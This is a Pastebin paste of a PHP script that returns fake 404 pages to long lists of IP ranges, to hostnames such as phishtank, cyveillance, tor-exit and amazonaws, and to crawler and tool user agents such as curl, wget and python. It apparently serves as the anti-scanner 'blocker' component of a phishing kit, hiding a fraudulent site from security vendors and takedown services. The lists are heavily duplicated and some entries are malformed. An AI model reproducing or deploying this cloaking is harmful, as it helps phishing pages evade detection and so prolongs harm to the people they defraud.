API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Apr 23rd, 2019
400
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 23.38 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. $bannedIP = array("^66.102.*.*", "^38.100.*.*", "^107.170.*.*",
  3. "^149.20.*.*", "^38.105.*.*", "^74.125.*.*", "^66.150.14.*",
  4. "^54.176.*.*", "^38.100.*.*", "^184.173.*.*", "^66.249.*.*",
  5. "^128.242.*.*", "^72.14.192.*", "^208.65.144.*", "^74.125.*.*",
  6. "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*",
  7. "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*",
  8. "^64.18.*.*", "^194.52.68.*", "^194.72.238.*", "^62.116.207.*",
  9. "^212.50.193.*", "^69.65.*.*", "^50.7.*.*", "^131.212.*.*",
  10. "^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*",
  11. "^85.64.*.*", "^85.250.*.*", "^89.138.*.*", "^93.172.*.*",
  12. "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*",
  13. "^212.143.*.*", "^212.150.*.*", "^212.235.*.*", "^217.132.*.*",
  14. "^50.97.*.*", "^217.132.*.*", "^209.85.*.*", "^66.205.64.*",
  15. "^204.14.48.*", "^64.27.2.*", "^67.15.*.*", "^202.108.252.*",
  16. "^193.47.80.*", "^64.62.136.*", "^66.221.*.*", "^64.62.175.*",
  17. "^198.54.*.*", "^192.115.134.*", "^216.252.167.*", "^193.253.199.*",
  18. "^69.61.12.*", "^64.37.103.*", "^38.144.36.*", "^64.124.14.*", "^206.28.72.*",
  19. "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*",
  20. "^167.24.*.*", "^192.118.48.*", "^67.209.128.*", "^12.148.209.*",
  21. "^12.148.196.*", "^193.220.178.*", "68.65.53.71", "^198.25.*.*",
  22. "^64.106.213.*, ^81.161.59.*", "^66.135.200.*", "^66.102.*.*",
  23. "^38.100.*.*", "^107.170.*.*", "^149.20.*.*", "^38.105.*.*",
  24. "^74.125.*.*", "^66.150.14.*", "^54.176.*.*", "^38.100.*.*",
  25. "^184.173.*.*", "^66.249.*.*", "^128.242.*.*", "^72.14.192.*",
  26. "^208.65.144.*", "^74.125.*.*", "^209.85.128.*", "^216.239.32.*",
  27. "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*",
  28. "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^194.52.68.*", "^194.72.238.*",
  29. "^62.116.207.*", "^212.50.193.*", "^69.65.*.*", "^50.7.*.*", "^131.212.*.*",
  30. "^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^85.250.*.*",
  31. "^89.138.*.*", "^93.172.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*",
  32. "^212.143.*.*", "^212.150.*.*", "^212.235.*.*", "^217.132.*.*", "^50.97.*.*", "^217.132.*.*",
  33. "^209.85.*.*", "^66.205.64.*", "^204.14.48.*", "^64.27.2.*", "^67.15.*.*", "^202.108.252.*",
  34. "^193.47.80.*", "^64.62.136.*", "^66.221.*.*", "^64.62.175.*", "^198.54.*.*", "^192.115.134.*",
  35. "^216.252.167.*", "^193.253.199.*", "^69.61.12.*", "^64.37.103.*", "^38.144.36.*",
  36. "^64.124.14.*", "^206.28.72.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*",
  37. "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*", "^12.148.209.*",
  38. "^12.148.196.*", "^193.220.178.*", "68.65.53.71", "^198.25.*.*", "^64.106.213.*",
  39. "^206.207.116.59*", "^188.166.63.71*", "^194.99.106.148*",
  40. "^91.103.66.*", "^208.91.115.*", "^199.30.228.*");
  41. if(in_array($_SERVER['REMOTE_ADDR'],$bannedIP)) {
  42. // this is for exact matches of IP address in array
  43. header('HTTP/1.0 404 Not Found');
  44. exit();
  45. } else {
  46. // this is for wild card matches
  47. foreach($bannedIP as $ip) {
  48. if(preg_match('/' . $ip . '/',$_SERVER['REMOTE_ADDR'])){
  49. header('HTTP/1.0 404 Not Found');
  50. die("<h1>404 Not Found</h1>The page that you have requested could not be found.");
  51. }
  52. }
  53. }
  54.  
  55. $hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
  56. $blocked_words = array("above","google","softlayer","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit",);
  57. foreach($blocked_words as $word) {
  58. if (substr_count($hostname, $word) > 0) {
  59. header("HTTP/1.0 404 Not Found");
  60. die("<h1>404 Not Found</h1>The page that you have requested could not be found.");
  61.  
  62. }
  63. }
  64.  
  65.  
  66.  
  67. // This Willl Block New ips that send lot of hits (Bots)
  68. $hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
  69. $blocked_words = array("above","google","softlayer","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit",);
  70. foreach($blocked_words as $word) {
  71. if (substr_count($hostname, $word) > 0) {
  72. header("HTTP/1.0 404 Not Found");
  73. die("<h1>404 Not Found</h1>The page that you have requested could not be found.");
  74.  
  75. }
  76. }
  77. if( !empty($_SERVER['HTTP_USER_AGENT']) ) {
  78. $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  79. foreach($userAgents as $agent)
  80. if( strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false ) {
  81. header('HTTP/1.0 404 Not Found');
  82. exit;
  83. }}
  84. $bannedIP = array("^66.102.*.*", "^38.100.*.*", "^107.170.*.*", "^149.20.*.*", "^38.105.*.*", "^74.125.*.*", "^66.150.14.*", "^54.176.*.*", "^38.100.*.*", "^184.173.*.*", "^66.249.*.*", "^128.242.*.*", "^72.14.192.*", "^208.65.144.*", "^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^194.52.68.*", "^194.72.238.*", "^62.116.207.*", "^212.50.193.*", "^69.65.*.*", "^50.7.*.*", "^131.212.*.*", "^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^85.250.*.*", "^89.138.*.*", "^93.172.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^212.235.*.*", "^217.132.*.*", "^50.97.*.*", "^217.132.*.*", "^209.85.*.*", "^66.205.64.*", "^204.14.48.*", "^64.27.2.*", "^67.15.*.*", "^202.108.252.*", "^193.47.80.*", "^64.62.136.*", "^66.221.*.*", "^64.62.175.*", "^198.54.*.*", "^192.115.134.*", "^216.252.167.*", "^193.253.199.*", "^69.61.12.*", "^64.37.103.*", "^38.144.36.*", "^64.124.14.*", "^206.28.72.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*", "^12.148.209.*", "^12.148.196.*", "^193.220.178.*", "68.65.53.71", "^198.25.*.*", "^64.106.213.*");
  85. if(in_array($_SERVER['REMOTE_ADDR'],$bannedIP)) {
  86. header('HTTP/1.0 404 Not Found');
  87. exit();
  88. } else {
  89. foreach($bannedIP as $ip) {
  90. if(preg_match('/' . $ip . '/',$_SERVER['REMOTE_ADDR'])){
  91. header('HTTP/1.0 404 Not Found');
  92. die("<h1>404 Not Found</h1>The page that you have requested could not be found.");
  93. }
  94. }
  95. }
  96. function is_bot() {
  97. #For Bot Spiders and Search Engines
  98. $spiders = array(
  99. "abot",
  100. "dbot",
  101. "ebot",
  102. "hbot",
  103. "kbot",
  104. "lbot",
  105. "mbot",
  106. "nbot",
  107. "obot",
  108. "pbot",
  109. "rbot",
  110. "sbot",
  111. "tbot",
  112. "vbot",
  113. "ybot",
  114. "zbot",
  115. "bot.",
  116. "bot/",
  117. "_bot",
  118. ".bot",
  119. "/bot",
  120. "-bot",
  121. ":bot",
  122. "(bot",
  123. "crawl",
  124. "slurp",
  125. "spider",
  126. "seek",
  127. "accoona",
  128. "acoon",
  129. "adressendeutschland",
  130. "ah-ha.com",
  131. "ahoy",
  132. "altavista",
  133. "ananzi",
  134. "anthill",
  135. "appie",
  136. "arachnophilia",
  137. "arale",
  138. "araneo",
  139. "aranha",
  140. "architext",
  141. "aretha",
  142. "arks",
  143. "asterias",
  144. "atlocal",
  145. "atn",
  146. "atomz",
  147. "augurfind",
  148. "backrub",
  149. "bannana_bot",
  150. "baypup",
  151. "bdfetch",
  152. "big brother",
  153. "biglotron",
  154. "bjaaland",
  155. "blackwidow",
  156. "blaiz",
  157. "blog",
  158. "blo.",
  159. "bloodhound",
  160. "boitho",
  161. "booch",
  162. "bradley",
  163. "butterfly",
  164. "calif",
  165. "cassandra",
  166. "ccubee",
  167. "cfetch",
  168. "charlotte",
  169. "churl",
  170. "cienciaficcion",
  171. "cmc",
  172. "collective",
  173. "comagent",
  174. "combine",
  175. "computingsite",
  176. "csci",
  177. "curl",
  178. "cusco",
  179. "daumoa",
  180. "deepindex",
  181. "delorie",
  182. "depspid",
  183. "deweb",
  184. "die blinde kuh",
  185. "digger",
  186. "ditto",
  187. "dmoz",
  188. "docomo",
  189. "download express",
  190. "dtaagent",
  191. "dwcp",
  192. "ebiness",
  193. "ebingbong",
  194. "e-collector",
  195. "ejupiter",
  196. "emacs-w3 search engine",
  197. "esther",
  198. "evliya celebi",
  199. "ezresult",
  200. "falcon",
  201. "felix ide",
  202. "ferret",
  203. "fetchrover",
  204. "fido",
  205. "findlinks",
  206. "fireball",
  207. "fish search",
  208. "fouineur",
  209. "funnelweb",
  210. "gazz",
  211. "gcreep",
  212. "genieknows",
  213. "getterroboplus",
  214. "geturl",
  215. "glx",
  216. "goforit",
  217. "golem",
  218. "grabber",
  219. "grapnel",
  220. "gralon",
  221. "griffon",
  222. "gromit",
  223. "grub",
  224. "gulliver",
  225. "hamahakki",
  226. "harvest",
  227. "havindex",
  228. "helix",
  229. "heritrix",
  230. "hku www octopus",
  231. "homerweb",
  232. "htdig",
  233. "html index",
  234. "html_analyzer",
  235. "htmlgobble",
  236. "hubater",
  237. "hyper-decontextualizer",
  238. "ia_archiver",
  239. "ibm_planetwide",
  240. "ichiro",
  241. "iconsurf",
  242. "iltrovatore",
  243. "image.kapsi.net",
  244. "imagelock",
  245. "incywincy",
  246. "indexer",
  247. "infobee",
  248. "informant",
  249. "ingrid",
  250. "inktomisearch.com",
  251. "inspector web",
  252. "intelliagent",
  253. "internet shinchakubin",
  254. "ip3000",
  255. "iron33",
  256. "israeli-search",
  257. "ivia",
  258. "jack",
  259. "jakarta",
  260. "javabee",
  261. "jetbot",
  262. "jumpstation",
  263. "katipo",
  264. "kdd-explorer",
  265. "kilroy",
  266. "knowledge",
  267. "kototoi",
  268. "kretrieve",
  269. "labelgrabber",
  270. "lachesis",
  271. "larbin",
  272. "legs",
  273. "libwww",
  274. "linkalarm",
  275. "link validator",
  276. "linkscan",
  277. "lockon",
  278. "lwp",
  279. "lycos",
  280. "magpie",
  281. "mantraagent",
  282. "mapoftheinternet",
  283. "marvin/",
  284. "mattie",
  285. "mediafox",
  286. "mediapartners",
  287. "mercator",
  288. "merzscope",
  289. "microsoft url control",
  290. "minirank",
  291. "miva",
  292. "mj12",
  293. "mnogosearch",
  294. "moget",
  295. "monster",
  296. "moose",
  297. "motor",
  298. "multitext",
  299. "muncher",
  300. "muscatferret",
  301. "mwd.search",
  302. "myweb",
  303. "najdi",
  304. "nameprotect",
  305. "nationaldirectory",
  306. "nazilla",
  307. "ncsa beta",
  308. "nec-meshexplorer",
  309. "nederland.zoek",
  310. "netcarta webmap engine",
  311. "netmechanic",
  312. "netresearchserver",
  313. "netscoop",
  314. "newscan-online",
  315. "nhse",
  316. "nokia6682/",
  317. "nomad",
  318. "noyona",
  319. "nutch",
  320. "nzexplorer",
  321. "objectssearch",
  322. "occam",
  323. "omni",
  324. "open text",
  325. "openfind",
  326. "openintelligencedata",
  327. "orb search",
  328. "osis-project",
  329. "pack rat",
  330. "pageboy",
  331. "pagebull",
  332. "page_verifier",
  333. "panscient",
  334. "parasite",
  335. "partnersite",
  336. "patric",
  337. "pear.",
  338. "pegasus",
  339. "peregrinator",
  340. "pgp key agent",
  341. "phantom",
  342. "phpdig",
  343. "picosearch",
  344. "piltdownman",
  345. "pimptrain",
  346. "pinpoint",
  347. "pioneer",
  348. "piranha",
  349. "plumtreewebaccessor",
  350. "pogodak",
  351. "poirot",
  352. "pompos",
  353. "poppelsdorf",
  354. "poppi",
  355. "popular iconoclast",
  356. "psycheclone",
  357. "publisher",
  358. "python",
  359. "rambler",
  360. "raven search",
  361. "roach",
  362. "road runner",
  363. "roadhouse",
  364. "robbie",
  365. "robofox",
  366. "robozilla",
  367. "rules",
  368. "salty",
  369. "sbider",
  370. "scooter",
  371. "scoutjet",
  372. "scrubby",
  373. "search.",
  374. "searchprocess",
  375. "semanticdiscovery",
  376. "senrigan",
  377. "sg-scout",
  378. "shai'hulud",
  379. "shark",
  380. "shopwiki",
  381. "sidewinder",
  382. "sift",
  383. "silk",
  384. "simmany",
  385. "site searcher",
  386. "site valet",
  387. "sitetech-rover",
  388. "skymob.com",
  389. "sleek",
  390. "smartwit",
  391. "sna-",
  392. "snappy",
  393. "snooper",
  394. "sohu",
  395. "speedfind",
  396. "sphere",
  397. "sphider",
  398. "spinner",
  399. "spyder",
  400. "steeler/",
  401. "suke",
  402. "suntek",
  403. "supersnooper",
  404. "surfnomore",
  405. "sven",
  406. "sygol",
  407. "szukacz",
  408. "tach black widow",
  409. "tarantula",
  410. "templeton",
  411. "/teoma",
  412. "t-h-u-n-d-e-r-s-t-o-n-e",
  413. "theophrastus",
  414. "titan",
  415. "titin",
  416. "tkwww",
  417. "toutatis",
  418. "t-rex",
  419. "tutorgig",
  420. "twiceler",
  421. "twisted",
  422. "ucsd",
  423. "udmsearch",
  424. "url check",
  425. "updated",
  426. "vagabondo",
  427. "valkyrie",
  428. "verticrawl",
  429. "victoria",
  430. "vision-search",
  431. "volcano",
  432. "voyager/",
  433. "voyager-hc",
  434. "w3c_validator",
  435. "w3m2",
  436. "w3mir",
  437. "walker",
  438. "wallpaper",
  439. "wanderer",
  440. "wauuu",
  441. "wavefire",
  442. "web core",
  443. "web hopper",
  444. "web wombat",
  445. "webbandit",
  446. "webcatcher",
  447. "webcopy",
  448. "webfoot",
  449. "weblayers",
  450. "weblinker",
  451. "weblog monitor",
  452. "webmirror",
  453. "webmonkey",
  454. "webquest",
  455. "webreaper",
  456. "websitepulse",
  457. "websnarf",
  458. "webstolperer",
  459. "webvac",
  460. "webwalk",
  461. "webwatch",
  462. "webwombat",
  463. "webzinger",
  464. "wget",
  465. "whizbang",
  466. "whowhere",
  467. "wild ferret",
  468. "worldlight",
  469. "wwwc",
  470. "wwwster",
  471. "xenu",
  472. "xget",
  473. "xift",
  474. "xirq",
  475. "yandex",
  476. "yanga",
  477. "yeti",
  478. "yodao",
  479. "zao/",
  480. "zippp",
  481. "zyborg",
  482. 'Googlebot',
  483. 'Baiduspider',
  484. 'ia_archiver',
  485. 'R6_FeedFetcher',
  486. 'NetcraftSurveyAgent',
  487. 'Sogou web spider',
  488. 'bingbot',
  489. 'Yahoo! Slurp',
  490. 'facebookexternalhit',
  491. 'PrintfulBot',
  492. 'msnbot',
  493. 'Twitterbot',
  494. 'UnwindFetchor',
  495. 'urlresolver',
  496. 'Butterfly',
  497. 'TweetmemeBot',
  498. 'PaperLiBot',
  499. 'MJ12bot',
  500. 'AhrefsBot',
  501. 'Exabot',
  502. 'Ezooms',
  503. 'YandexBot',
  504. 'SearchmetricsBot',
  505. 'picsearch',
  506. 'TweetedTimes Bot',
  507. 'QuerySeekerSpider',
  508. 'ShowyouBot',
  509. 'woriobot',
  510. 'merlinkbot',
  511. 'BazQuxBot',
  512. 'Kraken',
  513. 'SISTRIX Crawler',
  514. 'R6_CommentReader',
  515. 'magpie-crawler',
  516. 'GrapeshotCrawler',
  517. 'PercolateCrawler',
  518. 'MaxPointCrawler',
  519. 'R6_FeedFetcher',
  520. 'NetSeer crawler',
  521. 'grokkit-crawler',
  522. 'SMXCrawler',
  523. 'PulseCrawler',
  524. 'Y!J-BRW',
  525. '80legs.com/webcrawler',
  526. 'Mediapartners-Google',
  527. 'Spinn3r',
  528. 'InAGist',
  529. 'Python-urllib',
  530. 'NING',
  531. 'TencentTraveler',
  532. 'Feedfetcher-Google',
  533. 'mon.itor.us',
  534. 'spbot',
  535. 'Feedly',
  536. 'bot',
  537. 'curl',
  538. "abot",
  539. "dbot",
  540. "ebot",
  541. "hbot",
  542. "kbot",
  543. "lbot",
  544. "mbot",
  545. "nbot",
  546. "obot",
  547. "pbot",
  548. "rbot",
  549. "sbot",
  550. "tbot",
  551. "vbot",
  552. "ybot",
  553. "zbot",
  554. "bot.",
  555. "bot/",
  556. "_bot",
  557. ".bot",
  558. "/bot",
  559. "-bot",
  560. ":bot",
  561. "(bot",
  562. "crawl",
  563. "slurp",
  564. "spider",
  565. "seek",
  566. "accoona",
  567. "acoon",
  568. "adressendeutschland",
  569. "ah-ha.com",
  570. "ahoy",
  571. "altavista",
  572. "ananzi",
  573. "anthill",
  574. "appie",
  575. "arachnophilia",
  576. "arale",
  577. "araneo",
  578. "aranha",
  579. "architext",
  580. "aretha",
  581. "arks",
  582. "asterias",
  583. "atlocal",
  584. "atn",
  585. "atomz",
  586. "augurfind",
  587. "backrub",
  588. "bannana_bot",
  589. "baypup",
  590. "bdfetch",
  591. "big brother",
  592. "biglotron",
  593. "bjaaland",
  594. "blackwidow",
  595. "blaiz",
  596. "blog",
  597. "blo.",
  598. "bloodhound",
  599. "boitho",
  600. "booch",
  601. "bradley",
  602. "butterfly",
  603. "calif",
  604. "cassandra",
  605. "ccubee",
  606. "cfetch",
  607. "charlotte",
  608. "churl",
  609. "cienciaficcion",
  610. "cmc",
  611. "collective",
  612. "comagent",
  613. "combine",
  614. "computingsite",
  615. "csci",
  616. "curl",
  617. "cusco",
  618. "daumoa",
  619. "deepindex",
  620. "delorie",
  621. "depspid",
  622. "deweb",
  623. "echo blinde kuh",
  624. "digger",
  625. "ditto",
  626. "dmoz",
  627. "docomo",
  628. "download express",
  629. "dtaagent",
  630. "dwcp",
  631. "ebiness",
  632. "ebingbong",
  633. "e-collector",
  634. "ejupiter",
  635. "emacs-w3 search engine",
  636. "esther",
  637. "evliya celebi",
  638. "ezresult",
  639. "falcon",
  640. "felix ide",
  641. "ferret",
  642. "fetchrover",
  643. "fido",
  644. "findlinks",
  645. "fireball",
  646. "fish search",
  647. "fouineur",
  648. "funnelweb",
  649. "gazz",
  650. "gcreep",
  651. "genieknows",
  652. "getterroboplus",
  653. "geturl",
  654. "glx",
  655. "goforit",
  656. "golem",
  657. "grabber",
  658. "grapnel",
  659. "gralon",
  660. "griffon",
  661. "gromit",
  662. "grub",
  663. "gulliver",
  664. "hamahakki",
  665. "harvest",
  666. "havindex",
  667. "helix",
  668. "heritrix",
  669. "hku www octopus",
  670. "homerweb",
  671. "htdig",
  672. "html index",
  673. "html_analyzer",
  674. "htmlgobble",
  675. "hubater",
  676. "hyper-decontextualizer",
  677. "ia_archiver",
  678. "ibm_planetwide",
  679. "ichiro",
  680. "iconsurf",
  681. "iltrovatore",
  682. "image.kapsi.net",
  683. "imagelock",
  684. "incywincy",
  685. "indexer",
  686. "infobee",
  687. "informant",
  688. "ingrid",
  689. "inktomisearch.com",
  690. "inspector web",
  691. "intelliagent",
  692. "internet shinchakubin",
  693. "ip3000",
  694. "iron33",
  695. "israeli-search",
  696. "ivia",
  697. "jack",
  698. "jakarta",
  699. "javabee",
  700. "jetbot",
  701. "jumpstation",
  702. "katipo",
  703. "kdd-explorer",
  704. "kilroy",
  705. "knowledge",
  706. "kototoi",
  707. "kretrieve",
  708. "labelgrabber",
  709. "lachesis",
  710. "larbin",
  711. "legs",
  712. "libwww",
  713. "linkalarm",
  714. "link validator",
  715. "linkscan",
  716. "lockon",
  717. "lwp",
  718. "lycos",
  719. "magpie",
  720. "mantraagent",
  721. "mapoftheinternet",
  722. "marvin/",
  723. "mattie",
  724. "mediafox",
  725. "mediapartners",
  726. "mercator",
  727. "merzscope",
  728. "microsoft url control",
  729. "minirank",
  730. "miva",
  731. "mj12",
  732. "mnogosearch",
  733. "moget",
  734. "monster",
  735. "moose",
  736. "motor",
  737. "multitext",
  738. "muncher",
  739. "muscatferret",
  740. "mwd.search",
  741. "myweb",
  742. "najdi",
  743. "nameprotect",
  744. "nationaldirectory",
  745. "nazilla",
  746. "ncsa beta",
  747. "nec-meshexplorer",
  748. "nederland.zoek",
  749. "netcarta webmap engine",
  750. "netmechanic",
  751. "netresearchserver",
  752. "netscoop",
  753. "newscan-online",
  754. "nhse",
  755. "nokia6682/",
  756. "nomad",
  757. "noyona",
  758. "nutch",
  759. "nzexplorer",
  760. "objectssearch",
  761. "occam",
  762. "omni",
  763. "open text",
  764. "openfind",
  765. "openintelligencedata",
  766. "orb search",
  767. "osis-project",
  768. "pack rat",
  769. "pageboy",
  770. "pagebull",
  771. "page_verifier",
  772. "panscient",
  773. "parasite",
  774. "partnersite",
  775. "patric",
  776. "pear.",
  777. "pegasus",
  778. "peregrinator",
  779. "pgp key agent",
  780. "phantom",
  781. "phpdig",
  782. "picosearch",
  783. "piltdownman",
  784. "pimptrain",
  785. "pinpoint",
  786. "pioneer",
  787. "piranha",
  788. "plumtreewebaccessor",
  789. "pogodak",
  790. "poirot",
  791. "pompos",
  792. "poppelsdorf",
  793. "poppi",
  794. "popular iconoclast",
  795. "psycheclone",
  796. "publisher",
  797. "python",
  798. "rambler",
  799. "raven search",
  800. "roach",
  801. "road runner",
  802. "roadhouse",
  803. "robbie",
  804. "robofox",
  805. "robozilla",
  806. "rules",
  807. "salty",
  808. "sbider",
  809. "scooter",
  810. "scoutjet",
  811. "scrubby",
  812. "search.",
  813. "searchprocess",
  814. "semanticdiscovery",
  815. "senrigan",
  816. "sg-scout",
  817. "shaihulud",
  818. "shark",
  819. "shopwiki",
  820. "sidewinder",
  821. "sift",
  822. "silk",
  823. "simmany",
  824. "site searcher",
  825. "site valet",
  826. "sitetech-rover",
  827. "skymob.com",
  828. "sleek",
  829. "smartwit",
  830. "sna-",
  831. "snappy",
  832. "snooper",
  833. "sohu",
  834. "speedfind",
  835. "sphere",
  836. "sphider",
  837. "spinner",
  838. "spyder",
  839. "steeler/",
  840. "suke",
  841. "suntek",
  842. "supersnooper",
  843. "surfnomore",
  844. "sven",
  845. "sygol",
  846. "szukacz",
  847. "tach black widow",
  848. "tarantula",
  849. "templeton",
  850. "/teoma",
  851. "t-h-u-n-d-e-r-s-t-o-n-e",
  852. "theophrastus",
  853. "titan",
  854. "titin",
  855. "tkwww",
  856. "toutatis",
  857. "t-rex",
  858. "tutorgig",
  859. "twiceler",
  860. "twisted",
  861. "ucsd",
  862. "udmsearch",
  863. "url check",
  864. "updated",
  865. "vagabondo",
  866. "valkyrie",
  867. "verticrawl",
  868. "victoria",
  869. "vision-search",
  870. "volcano",
  871. "voyager/",
  872. "voyager-hc",
  873. "w3c_validator",
  874. "w3m2",
  875. "w3mir",
  876. "walker",
  877. "wallpaper",
  878. "wanderer",
  879. "wauuu",
  880. "wavefire",
  881. "web core",
  882. "web hopper",
  883. "web wombat",
  884. "webbandit",
  885. "webcatcher",
  886. "webcopy",
  887. "webfoot",
  888. "weblayers",
  889. "weblinker",
  890. "weblog monitor",
  891. "webmirror",
  892. "webmonkey",
  893. "webquest",
  894. "webreaper",
  895. "websitepulse",
  896. "websnarf",
  897. "webstolperer",
  898. "webvac",
  899. "webwalk",
  900. "webwatch",
  901. "webwombat",
  902. "webzinger",
  903. "wget",
  904. "whizbang",
  905. "whowhere",
  906. "wild ferret",
  907. "worldlight",
  908. "wwwc",
  909. "wwwster",
  910. "xenu",
  911. "xget",
  912. "xift",
  913. "xirq",
  914. "yandex",
  915. "yanga",
  916. "yeti",
  917. "yodao",
  918. "zao/",
  919. "zippp",
  920. "zyborg","....");
  921. foreach($spiders as $spider) {
  922. if ( stripos($_SERVER['HTTP_USER_AGENT'], $spider) !== false ) return true;
  923. }
  924. return false;
  925. }
  926.  
  927. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!